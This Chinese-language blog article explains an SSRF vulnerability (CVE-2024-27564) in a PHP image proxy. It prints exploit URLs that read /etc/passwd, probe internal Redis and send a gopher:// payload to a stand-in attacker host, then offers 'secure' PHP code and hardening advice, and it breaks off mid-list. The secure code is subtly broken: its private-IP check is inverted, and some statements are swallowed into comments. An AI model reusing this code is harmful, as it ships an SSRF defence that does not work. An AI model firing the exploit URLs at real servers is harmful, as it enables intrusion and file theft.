ChatGPT图片代理SSRF漏洞(CVE-2024-27564)深度解析与防护实践

1次阅读

共计 2539 个字符，预计需要花费 7 分钟才能阅读完成。

SSRF（Server-Side Request Forgery）服务端请求伪造，是服务器未对用户提供的 URL 进行严格校验，导致攻击者可以构造恶意请求访问内部资源的漏洞。其危害包括：

扫描内网敏感服务（如 Redis、数据库管理界面）
通过协议处理程序读取本地文件（如 file:///etc/passwd）
作为跳板发起进一步攻击

ChatGPT 的图片代理服务（pictureproxy.php）因未对用户提交的图片 URL 做充分验证，导致攻击者可操控服务器发起任意 HTTP 请求，形成典型 SSRF 漏洞（CVE-2024-27564）。

原始漏洞代码关键逻辑如下（简化版）：

// 从用户输入获取图片 URL
$imageUrl = $_GET['url'];

// 直接请求用户提供的 URL
$imageData = file_get_contents($imageUrl);
header("Content-Type: image/png");
echo $imageData;

主要问题点：

无协议限制：可接受 file://、gopher:// 等危险协议
无目标验证：允许访问内网 IP 段（如 192.168.1.1）
无域名白名单：未校验请求域名是否属于合法图片源

攻击者可通过如下方式利用漏洞：

读取服务器本地文件：

/pictureproxy.php?url=file:///etc/passwd

扫描内网服务（以 Redis 为例）：

/pictureproxy.php?url=http://192.168.1.100:6379/info

使用非 HTTP 协议进行攻击：

/pictureproxy.php?url=gopher://attacker.com:1337/_exploit_payload

// 安全版本图片代理实现
function safeFetchImage($inputUrl) {
    // 1. 协议白名单校验
    $allowedSchemes = ['http', 'https'];
    $parsed = parse_url($inputUrl);
    if (!in_array($parsed['scheme'] ?? '', $allowedSchemes)) {throw new Exception("仅允许 HTTP/HTTPS 协议");
    }

    // 2. 域名白名单校验（示例域名需替换为实际业务允许的）$allowedDomains = ['cdn.openai.com', 'legit-image-host.com'];
    if (!in_array($parsed['host'], $allowedDomains)) {throw new Exception("非法的图片源域名");
    }

    // 3. 禁用私有 IP 段（RFC 1918）$ip = gethostbyname($parsed['host']);
    if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {throw new Exception("禁止访问内网资源");
    }

    // 4. 使用 CURL 替代 file_get_contents（更好控制超时和重定向）$ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $inputUrl);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁用重定向
    curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 5 秒超时
    $imageData = curl_exec($ch);

    // 5. 验证返回内容确实是图片
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!str_starts_with($finfo->buffer($imageData), "image/")) {throw new Exception("返回内容不是有效图片");
    }

    return $imageData;
}

出口防火墙规则：
限制服务器只能向特定 CDN 域名发起出站请求
阻断非常用端口（如 6379、3306 等）
WAF 配置：
拦截包含敏感路径的请求（如/etc/passwd）
检测异常 User-Agent 和请求频率

请求签名：对图片 URL 添加时效性签名，防止参数篡改
沙箱环境：在高风险代理操作中使用 Docker 容器隔离
流量监控：对异常出站请求（如访问内网 IP）触发告警

log_format security_log '$time_iso8601 $remote_addr"$request"''$status $body_bytes_sent "$http_referer" ''"$http_user_agent"$request_time'
                        'PROXY_TARGET:$arg_url';

应监控：